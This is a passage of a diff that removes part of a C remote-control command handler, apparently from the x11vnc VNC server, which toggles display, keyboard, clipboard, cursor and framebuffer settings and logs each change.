- if (safe_remote_only && ! safe) {
- rfbLog("unsafe: %s\n", p);
- doit = 0;
- }
-
- if (doit) {
- if (accept_cmd) free(accept_cmd);
- accept_cmd = strdup(p);
- }
- goto done;
- }
- if (strstr(p, "afteraccept") == p) {
- int safe = 0;
- COLON_CHECK("afteraccept:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(afteraccept_cmd));
- goto qry;
- }
- p += strlen("afteraccept:");
- if (!strcmp(p, "")) { /* skip-cmd-list */
- safe = 1;
- }
- if (safe_remote_only && ! safe) {
- rfbLog("unsafe: %s\n", p);
- } else {
- if (afteraccept_cmd) free(afteraccept_cmd);
- afteraccept_cmd = strdup(p);
- }
- goto done;
- }
- if (strstr(p, "gone") == p) {
- int safe = 0;
- COLON_CHECK("gone:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(gone_cmd));
- goto qry;
- }
- p += strlen("gone:");
- if (!strcmp(p, "") || strstr(p, "popup") == p) { /* skip-cmd-list */
- safe = 1;
- }
- if (safe_remote_only && ! safe) {
- rfbLog("unsafe: %s\n", p);
- } else {
- if (gone_cmd) free(gone_cmd);
- gone_cmd = strdup(p);
- }
- goto done;
- }
- if (!strcmp(p, "shm")) {
- int orig = using_shm;
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, using_shm);
- goto qry;
- }
- rfbLog("remote_cmd: turning off noshm mode.\n");
- using_shm = 1;
- if (raw_fb) set_raw_fb_params(0);
-
- if (orig != using_shm) {
- do_new_fb(1);
- } else {
- rfbLog(" already in shm mode.\n");
- }
- goto done;
- }
- if (!strcmp(p, "noshm")) {
- int orig = using_shm;
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !using_shm);
- goto qry;
- }
- rfbLog("remote_cmd: turning on noshm mode.\n");
- using_shm = 0;
- if (orig != using_shm) {
- do_new_fb(1);
- } else {
- rfbLog(" already in noshm mode.\n");
- }
- goto done;
- }
- if (!strcmp(p, "flipbyteorder")) {
- int orig = flip_byte_order;
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, flip_byte_order);
- goto qry;
- }
- rfbLog("remote_cmd: turning on flipbyteorder mode.\n");
- flip_byte_order = 1;
- if (orig != flip_byte_order) {
- if (! using_shm || xform24to32) {
- do_new_fb(1);
- } else {
- rfbLog(" using shm, not resetting fb\n");
- }
- }
- goto done;
- }
- if (!strcmp(p, "noflipbyteorder")) {
- int orig = flip_byte_order;
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !flip_byte_order);
- goto qry;
- }
- rfbLog("remote_cmd: turning off flipbyteorder mode.\n");
- flip_byte_order = 0;
- if (orig != flip_byte_order) {
- if (! using_shm || xform24to32) {
- do_new_fb(1);
- } else {
- rfbLog(" using shm, not resetting fb\n");
- }
- }
- goto done;
- }
- if (!strcmp(p, "onetile")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, single_copytile);
- goto qry;
- }
- rfbLog("remote_cmd: enable -onetile mode.\n");
- single_copytile = 1;
- goto done;
- }
- if (!strcmp(p, "noonetile")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !single_copytile);
- goto qry;
- }
- rfbLog("remote_cmd: disable -onetile mode.\n");
- if (tile_shm_count < ntiles_x) {
- rfbLog(" this has no effect: tile_shm_count=%d"
- " ntiles_x=%d\n", tile_shm_count, ntiles_x);
-
- }
- single_copytile = 0;
- goto done;
- }
- if (strstr(p, "solid_color") == p) {
- /*
- * n.b. this solid stuff perhaps should reflect
- * safe_remote_only but at least the command names
- * are fixed.
- */
- char *newc;
- int doit = 1;
- COLON_CHECK("solid_color:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(solid_str));
- goto qry;
- }
- p += strlen("solid_color:");
- if (*p != '\0') {
- newc = strdup(p);
- } else {
- newc = strdup(solid_default);
- }
- rfbLog("remote_cmd: solid %s -> %s\n", NONUL(solid_str), newc);
-
- if (solid_str) {
- if (!strcmp(solid_str, newc)) {
- doit = 0;
- }
- free(solid_str);
- }
- solid_str = newc;
- use_solid_bg = 1;
- if (raw_fb && !macosx_console) set_raw_fb_params(0);
-
- if (doit && client_count) {
- solid_bg(0);
- }
- goto done;
- }
- if (!strcmp(p, "solid")) {
- int orig = use_solid_bg;
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, use_solid_bg);
- goto qry;
- }
- rfbLog("remote_cmd: enable -solid mode\n");
- if (! solid_str) {
- solid_str = strdup(solid_default);
- }
- use_solid_bg = 1;
- if (raw_fb && !macosx_console) set_raw_fb_params(0);
- if (client_count && !orig) {
- solid_bg(0);
- }
- goto done;
- }
- if (!strcmp(p, "nosolid")) {
- int orig = use_solid_bg;
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !use_solid_bg);
- goto qry;
- }
- rfbLog("remote_cmd: disable -solid mode\n");
- use_solid_bg = 0;
- if (client_count && orig) {
- solid_bg(1);
- }
- goto done;
- }
- if (strstr(p, "blackout") == p) {
- char *before, *old;
- COLON_CHECK("blackout:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(blackout_str));
- goto qry;
- }
- p += strlen("blackout:");
- if (blackout_str) {
- before = strdup(blackout_str);
- } else {
- before = strdup("");
- }
- old = blackout_str;
- if (*p == '+') {
- p++;
- blackout_str = add_item(blackout_str, p);
- } else if (*p == '-') {
- p++;
- blackout_str = delete_item(blackout_str, p);
- } else {
- blackout_str = strdup(p);
- }
- if (strcmp(before, blackout_str)) {
- rfbLog("remote_cmd: changing -blackout\n");
- rfbLog(" from: %s\n", before);
- rfbLog(" to: %s\n", blackout_str);
- if (0 && !strcmp(blackout_str, "") &&
- single_copytile_orig != single_copytile) {
- rfbLog("resetting single_copytile to: %d\n",
- single_copytile_orig);
- single_copytile = single_copytile_orig;
- }
- initialize_blackouts_and_xinerama();
- }
- if (old) free(old);
- free(before);
- goto done;
- }
- if (!strcmp(p, "xinerama")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, xinerama);
- goto qry;
- }
- rfbLog("remote_cmd: enable xinerama mode. (if applicable).\n");
- xinerama = 1;
- initialize_blackouts_and_xinerama();
- goto done;
- }
- if (!strcmp(p, "noxinerama")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !xinerama);
- goto qry;
- }
- rfbLog("remote_cmd: disable xinerama mode. (if applicable).\n");
- xinerama = 0;
- initialize_blackouts_and_xinerama();
- goto done;
- }
- if (!strcmp(p, "xtrap")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, xtrap_input);
- goto qry;
- }
- rfbLog("remote_cmd: enable xtrap input mode."
- "(if applicable).\n");
- if (! xtrap_input) {
- xtrap_input = 1;
- disable_grabserver(dpy, 1);
- }
- goto done;
- }
- if (!strcmp(p, "noxtrap")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !xtrap_input);
- goto qry;
- }
- rfbLog("remote_cmd: disable xtrap input mode."
- "(if applicable).\n");
- if (xtrap_input) {
- xtrap_input = 0;
- disable_grabserver(dpy, 1);
- }
- goto done;
- }
- if (!strcmp(p, "xrandr")) {
- int orig = xrandr;
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, xrandr); goto qry;
- }
- if (xrandr_present) {
- rfbLog("remote_cmd: enable xrandr mode.\n");
- xrandr = 1;
- if (raw_fb) set_raw_fb_params(0);
- if (! xrandr_mode) {
- xrandr_mode = strdup("default");
- }
- if (orig != xrandr) {
- initialize_xrandr();
- }
- } else {
- rfbLog("remote_cmd: XRANDR ext. not present.\n");
- }
- goto done;
- }
- if (!strcmp(p, "noxrandr")) {
- int orig = xrandr;
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !xrandr); goto qry;
- }
- xrandr = 0;
- xrandr_maybe = 0;
- if (xrandr_present) {
- rfbLog("remote_cmd: disable xrandr mode.\n");
- if (orig != xrandr) {
- initialize_xrandr();
- }
- } else {
- rfbLog("remote_cmd: XRANDR ext. not present.\n");
- }
- goto done;
- }
- if (strstr(p, "xrandr_mode") == p) {
- int orig = xrandr;
- COLON_CHECK("xrandr_mode:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(xrandr_mode));
- goto qry;
- }
- p += strlen("xrandr_mode:");
- if (!strcmp("none", p)) {
- xrandr = 0;
- xrandr_maybe = 0;
- } else {
- if (known_xrandr_mode(p)) {
- if (xrandr_mode) free(xrandr_mode);
- xrandr_mode = strdup(p);
- } else {
- rfbLog("skipping unknown xrandr mode: %s\n", p);
- goto done;
- }
- xrandr = 1;
- }
- if (xrandr_present) {
- if (xrandr) {
- rfbLog("remote_cmd: enable xrandr mode.\n");
- } else {
- rfbLog("remote_cmd: disable xrandr mode.\n");
- }
- if (! xrandr_mode) {
- xrandr_mode = strdup("default");
- }
- if (orig != xrandr) {
- initialize_xrandr();
- }
- } else {
- rfbLog("remote_cmd: XRANDR ext. not present.\n");
- }
- goto done;
- }
- if (strstr(p, "rotate") == p) {
- COLON_CHECK("rotate:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(rotating_str));
- goto qry;
- }
- p += strlen("rotate:");
- if (rotating_str) free(rotating_str);
- rotating_str = strdup(p);
- rfbLog("remote_cmd: set rotate to \"%s\"\n", rotating_str);
-
- do_new_fb(0);
- goto done;
- }
- if (strstr(p, "padgeom") == p) {
- COLON_CHECK("padgeom:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(pad_geometry));
- goto qry;
- }
- p += strlen("padgeom:");
- if (!strcmp("force", p) || !strcmp("do",p) || !strcmp("go",p)) {
- rfbLog("remote_cmd: invoking install_padded_fb()\n");
- install_padded_fb(pad_geometry);
- } else {
- if (pad_geometry) free(pad_geometry);
- pad_geometry = strdup(p);
- rfbLog("remote_cmd: set padgeom to: %s\n",
- pad_geometry);
- }
- goto done;
- }
- if (!strcmp(p, "quiet") || !strcmp(p, "q")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, quiet); goto qry;
- }
- rfbLog("remote_cmd: turning on quiet mode.\n");
- quiet = 1;
- goto done;
- }
- if (!strcmp(p, "noquiet")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !quiet); goto qry;
- }
- rfbLog("remote_cmd: turning off quiet mode.\n");
- quiet = 0;
- goto done;
- }
- if (!strcmp(p, "modtweak")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, use_modifier_tweak);
- goto qry;
- }
- rfbLog("remote_cmd: enabling -modtweak mode.\n");
- if (! use_modifier_tweak) {
- use_modifier_tweak = 1;
- initialize_modtweak();
- }
- use_modifier_tweak = 1;
- goto done;
- }
- if (!strcmp(p, "nomodtweak")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p,
- !use_modifier_tweak);
- goto qry;
- }
- rfbLog("remote_cmd: enabling -nomodtweak mode.\n");
- got_nomodtweak = 1;
- use_modifier_tweak = 0;
- goto done;
- }
- if (!strcmp(p, "xkb")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, use_xkb_modtweak);
- goto qry;
- }
- if (! xkb_present) {
- rfbLog("remote_cmd: cannot enable -xkb "
- "modtweak mode (not supported on X display)\n");
- goto done;
- }
- rfbLog("remote_cmd: enabling -xkb modtweak mode"
- " (if supported).\n");
- if (! use_modifier_tweak || ! use_xkb_modtweak) {
- use_modifier_tweak = 1;
- use_xkb_modtweak = 1;
- initialize_modtweak();
- }
- use_modifier_tweak = 1;
- use_xkb_modtweak = 1;
- goto done;
- }
- if (!strcmp(p, "noxkb")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !use_xkb_modtweak);
- goto qry;
- }
- if (! xkb_present) {
- rfbLog("remote_cmd: cannot disable -xkb "
- "modtweak mode (not supported on X display)\n");
- goto done;
- }
- rfbLog("remote_cmd: disabling -xkb modtweak mode.\n");
- use_xkb_modtweak = 0;
- got_noxkb = 1;
- initialize_modtweak();
- goto done;
- }
- if (!strcmp(p, "capslock")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, watch_capslock);
- goto qry;
- }
- rfbLog("remote_cmd: enabling -capslock mode\n");
- watch_capslock = 1;
- goto done;
- }
- if (!strcmp(p, "nocapslock")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !watch_capslock);
- goto qry;
- }
- rfbLog("remote_cmd: disabling -capslock mode\n");
- watch_capslock = 0;
- goto done;
- }
- if (!strcmp(p, "skip_lockkeys")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, skip_lockkeys);
- goto qry;
- }
- rfbLog("remote_cmd: enabling -skip_lockkeys mode\n");
- skip_lockkeys = 1;
- goto done;
- }
- if (!strcmp(p, "noskip_lockkeys")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !skip_lockkeys);
- goto qry;
- }
- rfbLog("remote_cmd: disabling -skip_lockkeys mode\n");
- skip_lockkeys = 0;
- goto done;
- }
- if (strstr(p, "skip_keycodes") == p) {
- COLON_CHECK("skip_keycodes:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(skip_keycodes));
- goto qry;
- }
- p += strlen("skip_keycodes:");
- rfbLog("remote_cmd: setting xkb -skip_keycodes"
- " to:\n\t'%s'\n", p);
- if (! xkb_present) {
- rfbLog("remote_cmd: warning xkb not present\n");
- } else if (! use_xkb_modtweak) {
- rfbLog("remote_cmd: turning on xkb.\n");
- use_xkb_modtweak = 1;
- if (! use_modifier_tweak) {
- rfbLog("remote_cmd: turning on modtweak.\n");
- use_modifier_tweak = 1;
- }
- }
- if (skip_keycodes) free(skip_keycodes);
- skip_keycodes = strdup(p);
- initialize_modtweak();
- goto done;
- }
- if (!strcmp(p, "sloppy_keys")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, sloppy_keys);
- goto qry;
- }
- sloppy_keys += 1;
- rfbLog("remote_cmd: set sloppy_keys to: %d\n", sloppy_keys);
- goto done;
- }
- if (!strcmp(p, "nosloppy_keys")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !sloppy_keys);
- goto qry;
- }
- sloppy_keys = 0;
- rfbLog("remote_cmd: set sloppy_keys to: %d\n", sloppy_keys);
- goto done;
- }
- if (!strcmp(p, "skip_dups")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p,
- skip_duplicate_key_events);
- goto qry;
- }
- rfbLog("remote_cmd: enabling -skip_dups mode\n");
- skip_duplicate_key_events = 1;
- goto done;
- }
- if (!strcmp(p, "noskip_dups")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p,
- !skip_duplicate_key_events);
- goto qry;
- }
- rfbLog("remote_cmd: disabling -skip_dups mode\n");
- skip_duplicate_key_events = 0;
- goto done;
- }
- if (!strcmp(p, "add_keysyms")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, add_keysyms);
- goto qry;
- }
- rfbLog("remote_cmd: enabling -add_keysyms mode.\n");
- add_keysyms = 1;
- goto done;
- }
- if (!strcmp(p, "noadd_keysyms")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !add_keysyms);
- goto qry;
- }
- rfbLog("remote_cmd: disabling -add_keysyms mode.\n");
- add_keysyms = 0;
- goto done;
- }
- if (!strcmp(p, "clear_mods")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, clear_mods == 1);
- goto qry;
- }
- rfbLog("remote_cmd: enabling -clear_mods mode.\n");
- clear_mods = 1;
- if (use_threads) {X_LOCK;}
- clear_modifiers(0);
- if (use_threads) {X_UNLOCK;}
- goto done;
- }
- if (!strcmp(p, "noclear_mods")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p,
- !(clear_mods == 1));
- goto qry;
- }
- rfbLog("remote_cmd: disabling -clear_mods mode.\n");
- clear_mods = 0;
- goto done;
- }
- if (!strcmp(p, "clear_keys")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p,
- clear_mods == 2);
- goto qry;
- }
- rfbLog("remote_cmd: enabling -clear_keys mode.\n");
- clear_mods = 2;
- if (use_threads) {X_LOCK;}
- clear_keys();
- if (use_threads) {X_UNLOCK;}
- goto done;
- }
- if (!strcmp(p, "noclear_keys")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p,
- !(clear_mods == 2));
- goto qry;
- }
- rfbLog("remote_cmd: disabling -clear_keys mode.\n");
- clear_mods = 0;
- goto done;
- }
- if (!strcmp(p, "clear_all")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p,
- clear_mods == 3);
- goto qry;
- }
- rfbLog("remote_cmd: doing clear_all action.\n");
- clear_mods = 3;
- if (use_threads) {X_LOCK;}
- clear_keys();
- clear_locks();
- if (use_threads) {X_UNLOCK;}
- goto done;
- }
- if (!strcmp(p, "clear_locks")) {
- NOTAPP
- rfbLog("remote_cmd: doing clear_locks action.\n");
- if (use_threads) {X_LOCK;}
- clear_locks();
- if (use_threads) {X_UNLOCK;}
- goto done;
- }
- if (!strcmp(p, "keystate")) {
- int i, state[256];
- NOTAPP
- for (i=0; i<256; i++) {
- state[i] = 0;
- }
- if (use_threads) {X_LOCK;}
- get_keystate(state);
- if (use_threads) {X_UNLOCK;}
- for (i=0; i<256; i++) {
- fprintf(stderr, "keystate[%03d] %d\n", i, state[i]);
- }
- goto done;
- }
- if (strstr(p, "remap") == p) {
- char *before, *old;
- COLON_CHECK("remap:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(remap_file));
- goto qry;
- }
- p += strlen("remap:");
- if ((*p == '+' || *p == '-') && remap_file &&
- strchr(remap_file, '/')) {
- rfbLog("remote_cmd: cannot use remap:+/-\n");
- rfbLog("in '-remap %s' mode.\n", remap_file);
- goto done;
- }
- if (remap_file) {
- before = strdup(remap_file);
- } else {
- before = strdup("");
- }
- old = remap_file;
- if (*p == '+') {
- p++;
- remap_file = add_item(remap_file, p);
- } else if (*p == '-') {
- p++;
- remap_file = delete_item(remap_file, p);
- if (! strchr(remap_file, '-')) {
- *remap_file = '\0';
- }
- } else {
- remap_file = strdup(p);
- }
- if (strcmp(before, remap_file)) {
- rfbLog("remote_cmd: changed -remap\n");
- rfbLog(" from: %s\n", before);
- rfbLog(" to: %s\n", remap_file);
- initialize_remap(remap_file);
- }
- if (old) free(old);
- free(before);
- goto done;
- }
- if (!strcmp(p, "repeat")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !no_autorepeat);
- goto qry;
- }
- rfbLog("remote_cmd: enabling -repeat mode.\n");
- autorepeat(1, 0); /* restore initial setting */
- no_autorepeat = 0;
- goto done;
- }
- if (!strcmp(p, "norepeat")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, no_autorepeat);
- goto qry;
- }
- rfbLog("remote_cmd: enabling -norepeat mode.\n");
- no_autorepeat = 1;
- if (no_repeat_countdown >= 0) {
- no_repeat_countdown = 2;
- }
- if (client_count && ! view_only) {
- autorepeat(0, 0); /* disable if any clients */
- }
- goto done;
- }
- if (!strcmp(p, "fb")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !nofb);
- goto qry;
- }
- if (nofb) {
- rfbLog("remote_cmd: disabling nofb mode.\n");
- rfbLog(" you may need to these turn back on:\n");
- rfbLog(" xfixes, xdamage, solid, flashcmap\n");
- rfbLog(" overlay, shm, noonetile, nap, cursor\n");
- rfbLog(" cursorpos, cursorshape, bell.\n");
- nofb = 0;
- set_nofb_params(1);
- do_new_fb(1);
- }
- goto done;
- }
- if (!strcmp(p, "nofb")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, nofb);
- goto qry;
- }
- if (!nofb) {
- rfbLog("remote_cmd: enabling nofb mode.\n");
- if (main_fb) {
- push_black_screen(4);
- }
- nofb = 1;
- sound_bell = 0;
- initialize_watch_bell();
- set_nofb_params(0);
- do_new_fb(1);
- }
- goto done;
- }
- if (!strcmp(p, "bell")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, sound_bell);
- goto qry;
- }
- rfbLog("remote_cmd: enabling bell (if supported).\n");
- initialize_watch_bell();
- sound_bell = 1;
- goto done;
- }
- if (!strcmp(p, "nobell")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !sound_bell);
- goto qry;
- }
- rfbLog("remote_cmd: disabling bell.\n");
- initialize_watch_bell();
- sound_bell = 0;
- goto done;
- }
- if (!strcmp(p, "sendbell")) {
- NOTAPP
- rfbLog("remote_cmd: sendbell.\n");
- if (screen && client_count) {
- rfbSendBell(screen);
- }
- goto done;
- }
- if (!strcmp(p, "sel")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, watch_selection);
- goto qry;
- }
- rfbLog("remote_cmd: enabling watch selection+primary.\n");
- watch_selection = 1;
- watch_primary = 1;
- watch_clipboard = 1;
- goto done;
- }
- if (!strcmp(p, "nosel")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !watch_selection);
- goto qry;
- }
- rfbLog("remote_cmd: disabling watch selection+primary.\n");
- watch_selection = 0;
- watch_primary = 0;
- watch_clipboard = 0;
- goto done;
- }
- if (!strcmp(p, "primary")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, watch_primary);
- goto qry;
- }
- rfbLog("remote_cmd: enabling watch_primary.\n");
- watch_primary = 1;
- goto done;
- }
- if (!strcmp(p, "noprimary")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !watch_primary);
- goto qry;
- }
- rfbLog("remote_cmd: disabling watch_primary.\n");
- watch_primary = 0;
- goto done;
- }
- if (!strcmp(p, "setprimary")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, set_primary);
- goto qry;
- }
- rfbLog("remote_cmd: enabling set_primary.\n");
- set_primary = 1;
- goto done;
- }
- if (!strcmp(p, "nosetprimary")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !set_primary);
- goto qry;
- }
- rfbLog("remote_cmd: disabling set_primary.\n");
- set_primary = 0;
- goto done;
- }
- if (!strcmp(p, "clipboard")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, watch_clipboard);
- goto qry;
- }
- rfbLog("remote_cmd: enabling watch_clipboard.\n");
- watch_clipboard = 1;
- goto done;
- }
- if (!strcmp(p, "noclipboard")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !watch_clipboard);
- goto qry;
- }
- rfbLog("remote_cmd: disabling watch_clipboard.\n");
- watch_clipboard = 0;
- goto done;
- }
- if (!strcmp(p, "setclipboard")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, set_clipboard);
- goto qry;
- }
- rfbLog("remote_cmd: enabling set_clipboard.\n");
- set_clipboard = 1;
- goto done;
- }
- if (!strcmp(p, "nosetclipboard")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !set_clipboard);
- goto qry;
- }
- rfbLog("remote_cmd: disabling set_clipboard.\n");
- set_clipboard = 0;
- goto done;
- }
- if (strstr(p, "seldir") == p) {
- COLON_CHECK("seldir:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(sel_direction));
- goto qry;
- }
- p += strlen("seldir:");
- rfbLog("remote_cmd: setting -seldir to %s\n", p);
- if (sel_direction) free(sel_direction);
- sel_direction = strdup(p);
- goto done;
- }
- if (!strcmp(p, "set_no_cursor")) { /* skip-cmd-list */
- rfbLog("remote_cmd: calling set_no_cursor()\n");
- set_no_cursor();
- goto done;
- }
- if (!strcmp(p, "cursorshape")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p,
- cursor_shape_updates);
- goto qry;
- }
- rfbLog("remote_cmd: turning on cursorshape mode.\n");
-
- set_no_cursor();
- cursor_shape_updates = 1;
- restore_cursor_shape_updates(screen);
- first_cursor();
- goto done;
- }
- if (!strcmp(p, "nocursorshape")) {
- int i, max = 5;
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p,
- !cursor_shape_updates);
- goto qry;
- }
- rfbLog("remote_cmd: turning off cursorshape mode.\n");
-
- set_no_cursor();
- for (i=0; i<max; i++) {
- /* XXX: try to force empty cursor back to client */
- rfbPE(-1);
- }
- cursor_shape_updates = 0;
- disable_cursor_shape_updates(screen);
- first_cursor();
- goto done;
- }
- if (!strcmp(p, "cursorpos")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p,
- cursor_pos_updates);
- goto qry;
- }
- rfbLog("remote_cmd: turning on cursorpos mode.\n");
- cursor_pos_updates = 1;
- goto done;
- }
- if (!strcmp(p, "nocursorpos")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p,
- !cursor_pos_updates);
- goto qry;
- }
- rfbLog("remote_cmd: turning off cursorpos mode.\n");
- cursor_pos_updates = 0;
- goto done;
- }
- if (!strcmp(p, "cursor_drag")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, cursor_drag_changes);
- goto qry;
- }
- cursor_drag_changes = 1;
- rfbLog("remote_cmd: setting cursor_drag_changes: %d.\n", cursor_drag_changes);
- goto done;
- }
- if (!strcmp(p, "nocursor_drag")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !cursor_drag_changes);
- goto qry;
- }
- cursor_drag_changes = 0;
- rfbLog("remote_cmd: setting cursor_drag_changes: %d.\n", cursor_drag_changes);
- goto done;
- }
- if (strstr(p, "cursor") == p) {
- COLON_CHECK("cursor:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(multiple_cursors_mode));
- goto qry;
- }
- p += strlen("cursor:");
- if (multiple_cursors_mode) {
- if (prev_cursors_mode) free(prev_cursors_mode);
- prev_cursors_mode = strdup(multiple_cursors_mode);
- free(multiple_cursors_mode);
- }
- multiple_cursors_mode = strdup(p);
-
- rfbLog("remote_cmd: changed -cursor mode "
- "to: %s\n", multiple_cursors_mode);
-
- if (strcmp(multiple_cursors_mode, "none") && !show_cursor) {
- show_cursor = 1;
- rfbLog("remote_cmd: changed show_cursor "
- "to: %d\n", show_cursor);
- }
- initialize_cursors_mode();
- first_cursor();
- goto done;
- }
- if (!strcmp(p, "show_cursor")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, show_cursor);
- goto qry;
- }
- rfbLog("remote_cmd: enabling show_cursor.\n");
- show_cursor = 1;
- if (multiple_cursors_mode && !strcmp(multiple_cursors_mode,
- "none")) {
- free(multiple_cursors_mode);
- if (prev_cursors_mode) {
- multiple_cursors_mode =
- strdup(prev_cursors_mode);
- } else {
- multiple_cursors_mode = strdup("default");
- }
- rfbLog("remote_cmd: changed -cursor mode "
- "to: %s\n", multiple_cursors_mode);
- }
- initialize_cursors_mode();
- first_cursor();
- goto done;
- }
- if (!strcmp(p, "noshow_cursor") || !strcmp(p, "nocursor")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !show_cursor);
- goto qry;
- }
- if (prev_cursors_mode) free(prev_cursors_mode);
- prev_cursors_mode = strdup(multiple_cursors_mode);
-
- rfbLog("remote_cmd: disabling show_cursor.\n");
- show_cursor = 0;
- initialize_cursors_mode();
- first_cursor();
- goto done;
- }
- if (strstr(p, "arrow") == p) {
- COLON_CHECK("arrow:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, alt_arrow);
- goto qry;
- }
- p += strlen("arrow:");
- alt_arrow = atoi(p);
- rfbLog("remote_cmd: setting alt_arrow: %d.\n", alt_arrow);
- setup_cursors_and_push();
- goto done;
- }
- if (!strcmp(p, "xfixes")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, use_xfixes);
- goto qry;
- }
- if (! xfixes_present) {
- rfbLog("remote_cmd: cannot enable xfixes "
- "(not supported on X display)\n");
- goto done;
- }
- rfbLog("remote_cmd: enabling -xfixes"
- " (if supported).\n");
- use_xfixes = 1;
- initialize_xfixes();
- first_cursor();
- goto done;
- }
- if (!strcmp(p, "noxfixes")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !use_xfixes);
- goto qry;
- }
- if (! xfixes_present) {
- rfbLog("remote_cmd: disabling xfixes "
- "(but not supported on X display)\n");
- goto done;
- }
- rfbLog("remote_cmd: disabling -xfixes.\n");
- use_xfixes = 0;
- initialize_xfixes();
- first_cursor();
- goto done;
- }
- if (!strcmp(p, "xdamage")) {
- int orig = use_xdamage;
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, use_xdamage);
- goto qry;
- }
- if (! xdamage_present) {
- rfbLog("remote_cmd: cannot enable xdamage hints "
- "(not supported on X display)\n");
- goto done;
- }
- rfbLog("remote_cmd: enabling xdamage hints"
- " (if supported).\n");
- use_xdamage = 1;
- if (use_xdamage != orig) {
- initialize_xdamage();
- create_xdamage_if_needed(0);
- }
- goto done;
- }
- if (!strcmp(p, "noxdamage")) {
- int orig = use_xdamage;
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !use_xdamage);
- goto qry;
- }
- if (! xdamage_present) {
- rfbLog("remote_cmd: disabling xdamage hints "
- "(but not supported on X display)\n");
- goto done;
- }
- rfbLog("remote_cmd: disabling xdamage hints.\n");
- use_xdamage = 0;
- if (use_xdamage != orig) {
- initialize_xdamage();
- destroy_xdamage_if_needed();
- }
- goto done;
- }
- if (strstr(p, "xd_area") == p) {
- int a;
- COLON_CHECK("xd_area:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co,
- xdamage_max_area);
- goto qry;
- }
